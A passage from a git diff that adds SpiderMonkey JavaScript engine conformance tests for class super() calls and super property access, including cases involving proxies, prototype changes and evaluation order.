+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+class defaultInst extends base { }
+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBadNewTargetPrototype.js b/js/src/tests/non262/class/superCallBadNewTargetPrototype.js
new file mode 100644
index 0000000000..43d1eb60d1
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBadNewTargetPrototype.js
@@ -0,0 +1,25 @@
+class base { constructor() { } }
+
+// lies and the lying liars who tell them
+function lies() { }
+lies.prototype = 4;
+
+assertThrowsInstanceOf(()=>Reflect.consruct(base, [], lies), TypeError);
+
+// lie a slightly different way
+function get(target, property, receiver) {
+ if (property === "prototype")
+ return 42;
+ return Reflect.get(target, property, receiver);
+}
+
+class inst extends base {
+ constructor() { super(); }
+}
+assertThrowsInstanceOf(()=>new new Proxy(inst, {get})(), TypeError);
+
+class defaultInst extends base {}
+assertThrowsInstanceOf(()=>new new Proxy(defaultInst, {get})(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBaseInvoked.js b/js/src/tests/non262/class/superCallBaseInvoked.js
new file mode 100644
index 0000000000..b66f9be170
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBaseInvoked.js
@@ -0,0 +1,55 @@
+function testBase(base) {
+ class instance extends base {
+ constructor(inst, one) {
+ super(inst, one);
+ }
+ }
+
+ let inst = new instance(instance, 1);
+ assertEq(Object.getPrototypeOf(inst), instance.prototype);
+ assertEq(inst.calledBase, true);
+
+ class defaultInstance extends base { }
+ let defInst = new defaultInstance(defaultInstance, 1);
+ assertEq(Object.getPrototypeOf(defInst), defaultInstance.prototype);
+ assertEq(defInst.calledBase, true);
+}
+
+class base {
+ // Base class must be [[Construct]]ed, as you cannot [[Call]] a class
+ // constructor
+ constructor(nt, one) {
+ assertEq(new.target, nt);
+
+ // Check argument ordering
+ assertEq(one, 1);
+ this.calledBase = true;
+ }
+}
+
+testBase(base);
+testBase(class extends base {
+ constructor(nt, one) {
+ // Every step of the way, new.target and args should be right
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ super(nt, one);
+ }
+ });
+function baseFunc(nt, one) {
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ this.calledBase = true;
+}
+
+testBase(baseFunc);
+
+let handler = {};
+let p = new Proxy(baseFunc, handler);
+testBase(p);
+
+handler.construct = (target, args, nt) => Reflect.construct(target, args, nt);
+testBase(p);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallIllegal.js b/js/src/tests/non262/class/superCallIllegal.js
new file mode 100644
index 0000000000..8b7b36397d
--- /dev/null
+++ b/js/src/tests/non262/class/superCallIllegal.js
@@ -0,0 +1,7 @@
+// super() invalid outside derived class constructors, including in dynamic
+// functions and eval
+assertThrowsInstanceOf(() => new Function("super();"), SyntaxError);
+assertThrowsInstanceOf(() => eval("super()"), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallInvalidBase.js b/js/src/tests/non262/class/superCallInvalidBase.js
new file mode 100644
index 0000000000..86b24f96c5
--- /dev/null
+++ b/js/src/tests/non262/class/superCallInvalidBase.js
@@ -0,0 +1,9 @@
+class instance extends null {
+ constructor() { super(); }
+}
+
+assertThrowsInstanceOf(() => new instance(), TypeError);
+assertThrowsInstanceOf(() => new class extends null { }(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallOrder.js b/js/src/tests/non262/class/superCallOrder.js
new file mode 100644
index 0000000000..46a1b0e57c
--- /dev/null
+++ b/js/src/tests/non262/class/superCallOrder.js
@@ -0,0 +1,28 @@
+function base() { }
+
+class beforeSwizzle extends base {
+ constructor() {
+ super(Object.setPrototypeOf(beforeSwizzle, null));
+ }
+}
+
+new beforeSwizzle();
+
+function MyError() {}
+
+// Again, testing both dynamic prototype dispatch, and that we verify the function
+// is a constructor after evaluating args
+class beforeThrow extends base {
+ constructor() {
+ function thrower() { throw new MyError(); }
+ super(thrower());
+ }
+}
+
+Object.setPrototypeOf(beforeThrow, Math.sin);
+
+// Won't throw that Math.sin is not a constructor before evaluating the args
+assertThrowsInstanceOf(() => new beforeThrow(), MyError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallProperBase.js b/js/src/tests/non262/class/superCallProperBase.js
new file mode 100644
index 0000000000..cc03f57d08
--- /dev/null
+++ b/js/src/tests/non262/class/superCallProperBase.js
@@ -0,0 +1,34 @@
+class base1 {
+ constructor() {
+ this.base = 1;
+ }
+}
+
+class base2 {
+ constructor() {
+ this.base = 2;
+ }
+}
+
+class inst extends base1 {
+ constructor() {
+ super();
+ }
+}
+
+assertEq(new inst().base, 1);
+
+Object.setPrototypeOf(inst, base2);
+
+assertEq(new inst().base, 2);
+
+// Still works with default constructor
+
+class defaultInst extends base1 { }
+
+assertEq(new defaultInst().base, 1);
+Object.setPrototypeOf(defaultInst, base2);
+assertEq(new defaultInst().base, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallSpreadCall.js b/js/src/tests/non262/class/superCallSpreadCall.js
new file mode 100644
index 0000000000..1045f1a22a
--- /dev/null
+++ b/js/src/tests/non262/class/superCallSpreadCall.js
@@ -0,0 +1,27 @@
+class base {
+ constructor(a, b, c) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ this.calledBase = true;
+ }
+}
+
+class doTest extends base {
+ constructor(arr) {
+ super(...arr);
+ }
+}
+
+assertEq(new doTest([1,2,3]).calledBase, true);
+
+class testRest extends base {
+ constructor(...args) {
+ super(...args);
+ }
+}
+
+assertEq(new testRest(1,2,3).calledBase, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallThisInit.js b/js/src/tests/non262/class/superCallThisInit.js
new file mode 100644
index 0000000000..935f6b69ff
--- /dev/null
+++ b/js/src/tests/non262/class/superCallThisInit.js
@@ -0,0 +1,48 @@
+function base() { this.prop = 42; }
+
+class testInitialize extends base {
+ constructor() {
+ // A poor man's assertThrowsInstanceOf, as arrow functions are currently
+ // disabled in this context
+ try {
+ this;
+ throw new Error();
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ throw e;
+ }
+ super();
+ assertEq(this.prop, 42);
+ }
+}
+assertEq(new testInitialize().prop, 42);
+
+// super() twice is a no-go.
+class willThrow extends base {
+ constructor() {
+ super();
+ super();
+ }
+}
+assertThrowsInstanceOf(()=>new willThrow(), ReferenceError);
+
+// This is determined at runtime, not the syntax level.
+class willStillThrow extends base {
+ constructor() {
+ for (let i = 0; i < 3; i++) {
+ super();
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new willStillThrow(), ReferenceError);
+
+class canCatchThrow extends base {
+ constructor() {
+ super();
+ try { super(); } catch(e) { }
+ }
+}
+assertEq(new canCatchThrow().prop, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superElemDelete.js b/js/src/tests/non262/class/superElemDelete.js
new file mode 100644
index 0000000000..6132cbafc2
--- /dev/null
+++ b/js/src/tests/non262/class/superElemDelete.js
@@ -0,0 +1,68 @@
+// Make sure we get the proper side effects.
+// |delete super[expr]| applies ToPropertyKey on |expr| before throwing.
+
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ testDeleteElem() {
+ let sideEffect = 0;
+ let key = {
+ toString() {
+ sideEffect++;
+ return "";
+ }
+ };
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 1);
+ }
+ testDeleteElemPropValFirst() {
+ // The deletion error is a reference error, but by munging the prototype
+ // chain, we can force a type error from JSOP_SUPERBASE.
+ let key = {
+ toString() {
+ Object.setPrototypeOf(derived.prototype, null);
+ return "";
+ }
+ };
+ delete super[key];
+ }
+}
+
+class derivedTestDeleteElem extends base {
+ constructor() {
+ let sideEffect = 0;
+ let key = {
+ toString() {
+ sideEffect++;
+ return "";
+ }
+ };
+
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 0);
+
+ super();
+
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 1);
+
+ Object.setPrototypeOf(derivedTestDeleteElem.prototype, null);
+
+ assertThrowsInstanceOf(() => delete super[key], TypeError);
+ assertEq(sideEffect, 2);
+
+ return {};
+ }
+}
+
+var d = new derived();
+d.testDeleteElem();
+assertThrowsInstanceOf(() => d.testDeleteElemPropValFirst(), TypeError);
+
+new derivedTestDeleteElem();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicCalls.js b/js/src/tests/non262/class/superPropBasicCalls.js
new file mode 100644
index 0000000000..c05d0ec26c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicCalls.js
@@ -0,0 +1,27 @@
+// Super property (and calls) works in non-extending classes and object
+// litterals.
+class toStringTest {
+ constructor() {
+ // Install a property to make it plausible that it's the same this
+ this.foo = "rhinoceros";
+ }
+
+ test() {
+ assertEq(super.toString(), super["toString"]());
+ assertEq(super.toString(), this.toString());
+ }
+}
+
+new toStringTest().test();
+
+let toStrOL = {
+ test() {
+ assertEq(super.toString(), super["toString"]());
+ assertEq(super.toString(), this.toString());
+ }
+}
+
+toStrOL.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicChain.js b/js/src/tests/non262/class/superPropBasicChain.js
new file mode 100644
index 0000000000..12bf84820e
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicChain.js
@@ -0,0 +1,11 @@
+var o = {
+ access() {
+ super.foo.bar;
+ }
+};
+
+// Delazify
+assertThrowsInstanceOf(o.access, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicGetter.js b/js/src/tests/non262/class/superPropBasicGetter.js
new file mode 100644
index 0000000000..fe1f4eeee8
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicGetter.js
@@ -0,0 +1,36 @@
+class base {
+ constructor() {}
+
+ getValue() {
+ return this._prop;
+ }
+
+ setValue(v) {
+ this._prop = v;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ get a() { return super.getValue(); }
+ set a(v) { super.setValue(v); }
+
+ get b() { return eval('super.getValue()'); }
+ set b(v) { eval('super.setValue(v);'); }
+
+ test() {
+ this.a = 15;
+ assertEq(this.a, 15);
+
+ assertEq(this.b, 15);
+ this.b = 30;
+ assertEq(this.b, 30);
+ }
+}
+
+var derivedInstance = new derived();
+derivedInstance.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicNew.js b/js/src/tests/non262/class/superPropBasicNew.js
new file mode 100644
index 0000000000..e1ca9b4ae1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicNew.js
@@ -0,0 +1,17 @@
+class Base {
+ constructor() {}
+}
+class Mid extends Base {
+ constructor() { super(); }
+ f() { return new super.constructor(); }
+}
+class Derived extends Mid {
+ constructor() { super(); }
+}
+
+let d = new Derived();
+var df = d.f();
+assertEq(df.constructor, Base);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropChains.js b/js/src/tests/non262/class/superPropChains.js
new file mode 100644
index 0000000000..e8c0de05cd
--- /dev/null
+++ b/js/src/tests/non262/class/superPropChains.js
@@ -0,0 +1,58 @@
+// First, let's test the trivial. A chain of three works.
+class base {
+ constructor() { }
+ testChain() {
+ this.baseCalled = true;
+ }
+}
+
+class middle extends base {
+ constructor() { super(); }
+ testChain() {
+ this.middleCalled = true;
+ super.testChain();
+ }
+}
+
+class derived extends middle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+}
+
+new derived().testChain();
+
+// Super even chains in a wellbehaved fashion with normal functions.
+function bootlegMiddle() { }
+bootlegMiddle.prototype = middle.prototype;
+
+new class extends bootlegMiddle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+ }().testChain();
+
+// Now let's try out some "long" chains
+base.prototype.x = "yeehaw";
+
+let chain = class extends base { constructor() { super(); } }
+
+const CHAIN_LENGTH = 100;
+for (let i = 0; i < CHAIN_LENGTH; i++)
+ chain = class extends chain { constructor() { super(); } }
+
+// Now we poke the chain
+let inst = new chain();
+inst.testChain();
+assertEq(inst.baseCalled, true);
+
+assertEq(inst.x, "yeehaw");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDVG.js b/js/src/tests/non262/class/superPropDVG.js
new file mode 100644
index 0000000000..f187cb6ea1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDVG.js
@@ -0,0 +1,17 @@
+// Super property accesses should play nice with the pretty printer.
+class testNonExistent {
+ constructor() {
+ super["prop"]();
+ }
+}
+// Should fold to super.prop
+assertThrownErrorContains(() => new testNonExistent(), 'super.prop');
+
+var ol = { testNonExistent() { super.prop(); } };
+assertThrownErrorContains(() => ol.testNonExistent(), "super.prop");
+
+var olElem = { testNonExistent() { var prop = "prop"; super[prop](); } };
+assertThrownErrorContains(() => olElem.testNonExistent(), "super[prop]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDelete.js b/js/src/tests/non262/class/superPropDelete.js
new file mode 100644
index 0000000000..1da338558b
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDelete.js
@@ -0,0 +1,64 @@
+// Make sure we get the proper side effects.
+// |delete super.prop| and |delete super[expr]| throw universally.
+
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ testDeleteProp() { delete super.prop; }
+ testDeleteElem() {
+ let sideEffect = 0;
+ assertThrowsInstanceOf(() => delete super[sideEffect = 1], ReferenceError);
+ assertEq(sideEffect, 1);
+ }
+ testDeleteElemPropValFirst() {
+ // The deletion error is a reference error, but by munging the prototype
+ // chain, we can force a typeerror from JSOP_SUPERBASE
+ delete super[Object.setPrototypeOf(derived.prototype, null)];
+ }
+}
+
+var d = new derived();
+assertThrowsInstanceOf(() => d.testDeleteProp(), ReferenceError);
+d.testDeleteElem();
+assertThrowsInstanceOf(() => d.testDeleteElemPropValFirst(), TypeError);
+
+// |delete super.x| does not delete anything before throwing.
+var thing1 = {
+ go() { delete super.toString; }
+};
+let saved = Object.prototype.toString;
+assertThrowsInstanceOf(() => thing1.go(), ReferenceError);
+assertEq(Object.prototype.toString, saved);
+
+// |delete super.x| does not tell the prototype to delete anything, when it's a proxy.
+var thing2 = {
+ go() { delete super.prop; }
+};
+Object.setPrototypeOf(thing2, new Proxy({}, {
+ deleteProperty(x) { throw "FAIL"; }
+}));
+assertThrowsInstanceOf(() => thing2.go(), ReferenceError);
+
+class derivedTestDeleteProp extends base {
+ constructor() {
+ // The deletion error is a reference error, but by munging the prototype
+ // chain, we can force a type error from JSOP_SUPERBASE.
+ Object.setPrototypeOf(derivedTestDeleteProp.prototype, null);
+
+ assertThrowsInstanceOf(() => delete super.prop, ReferenceError);
+
+ super();
+
+ assertThrowsInstanceOf(() => delete super.prop, TypeError);
+
+ return {};
+ }
+}
+
+new derivedTestDeleteProp();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDerivedCalls.js b/js/src/tests/non262/class/superPropDerivedCalls.js
new file mode 100644
index 0000000000..1a8a036057
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDerivedCalls.js
@@ -0,0 +1,77 @@
+let derivedInstance;
+
+class base {
+ constructor() { }
+ method(a, b, c) {
+ assertEq(this, derivedInstance);
+ this.methodCalled = true;
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ }
+
+ get prop() {
+ assertEq(this, derivedInstance);
+ this.getterCalled = true;
+ return this._prop;
+ }
+
+ set prop(val) {
+ assertEq(this, derivedInstance);
+ this.setterCalled = true;
+ this._prop = val;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ // |super| actually checks the chain, not |this|
+ method() { throw "FAIL"; }
+ get prop() { throw "FAIL"; }
+ set prop(v) { throw "FAIL"; }
+
+ test() {
+ this.reset();
+ // While we're here. Let's check on super spread calls...
+ let spread = [1,2,3];
+ super.method(...spread);
+ super.prop++;
+ this.asserts();
+ }
+
+ testInEval() {
+ this.reset();
+ eval("super.method(1,2,3); super.prop++");
+ this.asserts();
+ }
+
+ testInArrow() {
+ this.reset();
+ (() => (super.method(1,2,3), super.prop++))();
+ this.asserts();
+ }
+
+ reset() {
+ this._prop = 0;
+ this.methodCalled = false;
+ this.setterCalled = false;
+ this.getterCalled = false;
+ }
+
+ asserts() {
+ assertEq(this.methodCalled, true);
+ assertEq(this.getterCalled, true);
+ assertEq(this.setterCalled, true);
+ assertEq(this._prop, 1);
+ }
+
+}
+
+derivedInstance = new derived();
+derivedInstance.test();
+derivedInstance.testInEval();
+derivedInstance.testInArrow();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDestructuring.js b/js/src/tests/non262/class/superPropDestructuring.js
new file mode 100644
index 0000000000..84d1bb517a
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDestructuring.js
@@ -0,0 +1,43 @@
+class base {
+ constructor() { }
+}
+
+let seenValues;
+Object.defineProperty(base.prototype, "minutes",
+ {
+ set(x) {
+ assertEq(x, 525600);
+ seenValues.push(x);
+ }
+ });
+Object.defineProperty(base.prototype, "intendent",
+ {
+ set(x) {
+ assertEq(x, "Fred");
+ seenValues.push(x)
+ }
+ });
+
+const testArr = [525600, "Fred"];
+class derived extends base {
+ constructor() { super(); }
+ prepForTest() { seenValues = []; }
+ testAsserts() { assertDeepEq(seenValues, testArr); }
+ testProps() {
+ this.prepForTest();
+ [super.minutes, super.intendent] = testArr;
+ this.testAsserts();
+ }
+ testElems() {
+ this.prepForTest();
+ [super["minutes"], super["intendent"]] = testArr;
+ this.testAsserts();
+ }
+}
+
+let d = new derived();
+d.testProps();
+d.testElems();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropEvalInsideArrow.js b/js/src/tests/non262/class/superPropEvalInsideArrow.js
new file mode 100644
index 0000000000..882f93ba0a
--- /dev/null
+++ b/js/src/tests/non262/class/superPropEvalInsideArrow.js
@@ -0,0 +1,11 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => eval('super.toString'));
+ }
+}
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropEvalInsideNested.js b/js/src/tests/non262/class/superPropEvalInsideNested.js
new file mode 100644
index 0000000000..04cdab0499
--- /dev/null
+++ b/js/src/tests/non262/class/superPropEvalInsideNested.js
@@ -0,0 +1,13 @@
+// It's invalid to eval super.prop inside a nested non-method, even if it
+// appears inside a method definition
+assertThrowsInstanceOf(() =>
+({
+ method() {
+ (function () {
+ eval('super.toString');
+ })();
+ }
+}).method(), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropFor.js b/js/src/tests/non262/class/superPropFor.js
new file mode 100644
index 0000000000..23b222cb3e
--- /dev/null
+++ b/js/src/tests/non262/class/superPropFor.js
@@ -0,0 +1,25 @@
+class testForIn {
+ constructor() {
+ let hits = 0;
+ for (super.prop in { prop1: 1, prop2: 2 })
+ hits++;
+ assertEq(this.prop, "prop2");
+ assertEq(hits, 2);
+ }
+}
+
+new testForIn();
+
+
+({
+ testForOf() {
+ let hits = 0;
+ for (super["prop"] of [1, 2])
+ hits++;
+ assertEq(this.prop, 2);
+ assertEq(hits, 2);
+ }
+}).testForOf();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropHeavyweightArrow.js b/js/src/tests/non262/class/superPropHeavyweightArrow.js
new file mode 100644
index 0000000000..ce30690d53
--- /dev/null
+++ b/js/src/tests/non262/class/superPropHeavyweightArrow.js
@@ -0,0 +1,12 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => (eval(''), super.toString));
+ }
+}
+
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropHomeObject.js b/js/src/tests/non262/class/superPropHomeObject.js
new file mode 100644
index 0000000000..b23c115dd5
--- /dev/null
+++ b/js/src/tests/non262/class/superPropHomeObject.js
@@ -0,0 +1,61 @@
+// This is super weird. A super property reference in the spec contains two
+// things. The first is the object to do the lookup on, the super base. This
+// should be unchanged, no matter what's going on: I can move the method to
+// another object. I can pull it out as its own function. I can put it on my
+// head and run around the front yard. No changes. The other half, the |this|
+// for invoked calls, is the this at the time of referencing the property, which
+// means it's gonna vary wildly as stuff gets moved around.
+
+class base {
+ constructor() { }
+ test(expectedThis) { assertEq(this, expectedThis); }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ test(expected) { super.test(expected); }
+ testArrow() { return (() => super.test(this)); }
+ ["testCPN"](expected) { super.test(expected); }
+}
+
+let derivedInstance = new derived();
+derivedInstance.test(derivedInstance);
+derivedInstance.testCPN(derivedInstance);
+
+let obj = { test: derivedInstance.test };
+obj.test(obj);
+
+// Classes are strict, so primitives are not boxed/turned into globals
+let testSolo = derivedInstance.test;
+testSolo(undefined);
+
+let anotherObject = { };
+derivedInstance.test.call(anotherObject, anotherObject);
+
+let strThis = "this is not an object!";
+derivedInstance.test.call(strThis, strThis);
+
+// You can take the arrow function out of the super, ... or something like that
+let arrowTest = derivedInstance.testArrow();
+arrowTest();
+
+// There's no magic "super script index" per code location.
+class base1 {
+ constructor() { }
+ test() { return "llama"; }
+}
+class base2 {
+ constructor() { }
+ test() { return "alpaca"; }
+}
+
+let animals = [];
+for (let exprBase of [base1, base2])
+ new class extends exprBase {
+ constructor() { super(); }
+ test() { animals.push(super["test"]()); }
+ }().test();
+assertDeepEq(animals, ["llama", "alpaca"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropIncDecElem.js b/js/src/tests/non262/class/superPropIncDecElem.js
new file mode 100644
index 0000000000..a7b93eb371
--- /dev/null
+++ b/js/src/tests/non262/class/superPropIncDecElem.js
@@ -0,0 +1,24 @@
+// #1
+function base() { }
+
+base.prototype = {
+ test() {
+ --super[1];
+ }
+}
+
+var d = new base();
+d.test();
+
+// #2
+class test2 {
+ test() {
+ super[1]++;
+ }
+}
+
+var d = new test2();
+d.test()
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropLazyInnerFunction.js b/js/src/tests/non262/class/superPropLazyInnerFunction.js
new file mode 100644
index 0000000000..d7a441f93b
--- /dev/null
+++ b/js/src/tests/non262/class/superPropLazyInnerFunction.js
@@ -0,0 +1,19 @@
+testcase();
+function testcase() {
+ var tokenCodes = {
+ get try() {
+ try {
+ super.actual();
+ } catch (e) {}
+ }
+ };
+ var arr = [
+ 'try',
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {};
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropNoOverwriting.js b/js/src/tests/non262/class/superPropNoOverwriting.js
new file mode 100644
index 0000000000..db44b509c5
--- /dev/null
+++ b/js/src/tests/non262/class/superPropNoOverwriting.js
@@ -0,0 +1,58 @@
+class X {
+ constructor() {
+ Object.defineProperty(this, "prop1", {
+ configurable: true,
+ writable: false,
+ value: 1
+ });
+
+ Object.defineProperty(this, "prop2", {
+ configurable: true,
+ get: function() { return 15; }
+ });
+
+ Object.defineProperty(this, "prop3", {
+ configurable: true,
+ set: function(a) { }
+ });
+
+ Object.defineProperty(this, "prop4", {
+ configurable: true,
+ get: function() { return 20; },
+ set: function(a) { }
+ });
+ }
+
+ f1() {
+ super.prop1 = 2;
+ }
+
+ f2() {
+ super.prop2 = 3;
+ }
+
+ f3() {
+ super.prop3 = 4;
+ }
+
+ f4() {
+ super.prop4 = 5;
+ }
+}
+
+var x = new X();
+
+assertThrowsInstanceOf(() => x.f1(), TypeError);
+assertEq(x.prop1, 1);
+
+assertThrowsInstanceOf(() => x.f2(), TypeError);
+assertEq(x.prop2, 15);
+
+assertThrowsInstanceOf(() => x.f3(), TypeError);
+assertEq(x.prop3, undefined);
+
+assertThrowsInstanceOf(() => x.f4(), TypeError);
+assertEq(x.prop4, 20);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropOrdering.js b/js/src/tests/non262/class/superPropOrdering.js
new file mode 100644
index 0000000000..1374d52c1c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropOrdering.js
@@ -0,0 +1,93 @@
+class base {
+ constructor() { }
+ method() { this.methodCalled++; }
+}
+
+class derived extends base {
+ constructor() { super(); this.methodCalled = 0; }
+
+ // Test orderings of various evaluations relative to the superbase
+
+ // Unlike in regular element evaluation, the propVal is evaluated before
+ // checking the starting object ([[HomeObject]].[[Prototype]])
+ testElem() { super[ruin()]; }
+
+ // The starting object for looking up super.method is determined before
+ // ruin() is called.
+ testProp() { super.method(ruin()); }
+
+ // The entire super.method property lookup has concluded before the args
+ // are evaluated
+ testPropCallDeleted() { super.method(()=>delete base.prototype.method); }
+
+ // The starting object for looking up super["prop"] is determined before
+ // ruin() is called.
+ testElemAssign() { super["prop"] = ruin(); }
+
+ // Test the normal assignment gotchas
+ testAssignElemPropValChange() {
+ let x = "prop1";
+ super[x] = (()=>(x = "prop2", 0))();
+ assertEq(this.prop1, 0);
+ assertEq(this.prop2, undefined);
+ }
+
+ testAssignProp() {
+ Object.defineProperty(base.prototype, "piggy",
+ {
+ configurable: true,
+ set() { throw "WEE WEE WEE WEE"; }
+ });
+
+ // The property lookup is noted, but not actually evaluated, until the
+ // right hand side is. Please don't make the piggy cry.
+ super.piggy = (() => delete base.prototype.piggy)();
+ }
+ testCompoundAssignProp() {
+ let getterCalled = false;
+ Object.defineProperty(base.prototype, "horse",
+ {
+ configurable: true,
+ get() { getterCalled = true; return "Of course"; },
+ set() { throw "NO!"; }
+ });
+ super.horse += (()=>(delete base.prototype.horse, ", of course!"))();
+ assertEq(getterCalled, true);
+
+ // So, is a horse a horse?
+ assertEq(this.horse, "Of course, of course!");
+ }
+}
+
+function ruin() {
+ Object.setPrototypeOf(derived.prototype, null);
+ return 5;
+}
+
+function reset() {
+ Object.setPrototypeOf(derived.prototype, base.prototype);
+}
+
+let instance = new derived();
+assertThrowsInstanceOf(() => instance.testElem(), TypeError);
+reset();
+
+instance.testProp();
+assertEq(instance.methodCalled, 1);
+reset();
+
+instance.testPropCallDeleted();
+assertEq(instance.methodCalled, 2);
+
+instance.testElemAssign();
+assertEq(instance.prop, 5);
+reset();
+
+instance.testAssignElemPropValChange();
+
+instance.testAssignProp();
+
+instance.testCompoundAssignProp();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropProtoChanges.js b/js/src/tests/non262/class/superPropProtoChanges.js
new file mode 100644
index 0000000000..d16ca16659
--- /dev/null
+++ b/js/src/tests/non262/class/superPropProtoChanges.js
@@ -0,0 +1,22 @@
+class base {
+ constructor() { }
+ test() {
+ return false;
+ }
+}
+
+let standin = { test() { return true; } };
+
+class derived extends base {
+ constructor() { super(); }
+ test() {
+ assertEq(super.test(), false);
+ Object.setPrototypeOf(derived.prototype, standin);
+ assertEq(super["test"](), true);
+ }
+}
+
+new derived().test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropProxies.js b/js/src/tests/non262/class/superPropProxies.js
new file mode 100644
index 0000000000..3ec43b279c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropProxies.js
@@ -0,0 +1,83 @@
+class base {
+ constructor() { }
+}
+
+let midStaticHandler = { };
+
+// We shouldn't use the |this.called| strategy here, since we have proxies
+// snooping property accesses.
+let getterCalled, setterCalled;
+
+class mid extends new Proxy(base, midStaticHandler) {
+ constructor() { super(); }
+ testSuperInProxy() {
+ super.prop = "looking";
+ assertEq(setterCalled, true);
+ assertEq(super.prop, "found");
+ assertEq(getterCalled, true);
+ }
+}
+
+class child extends mid {
+ constructor() { super(); }
+ static testStaticLookups() {
+ // This funtion is called more than once.
+ this.called = false;
+ super.prop;
+ assertEq(this.called, true);
+ }
+}
+
+let midInstance = new mid();
+
+// Make sure proxies are searched properly on the prototype chain
+let baseHandler = {
+ get(target, p, receiver) {
+ assertEq(receiver, midInstance);
+ getterCalled = true;
+ return "found";
+ },
+
+ set(t,p,val,receiver) {
+ assertEq(receiver, midInstance);
+ assertEq(val, "looking");
+ setterCalled = true;
+ return true;
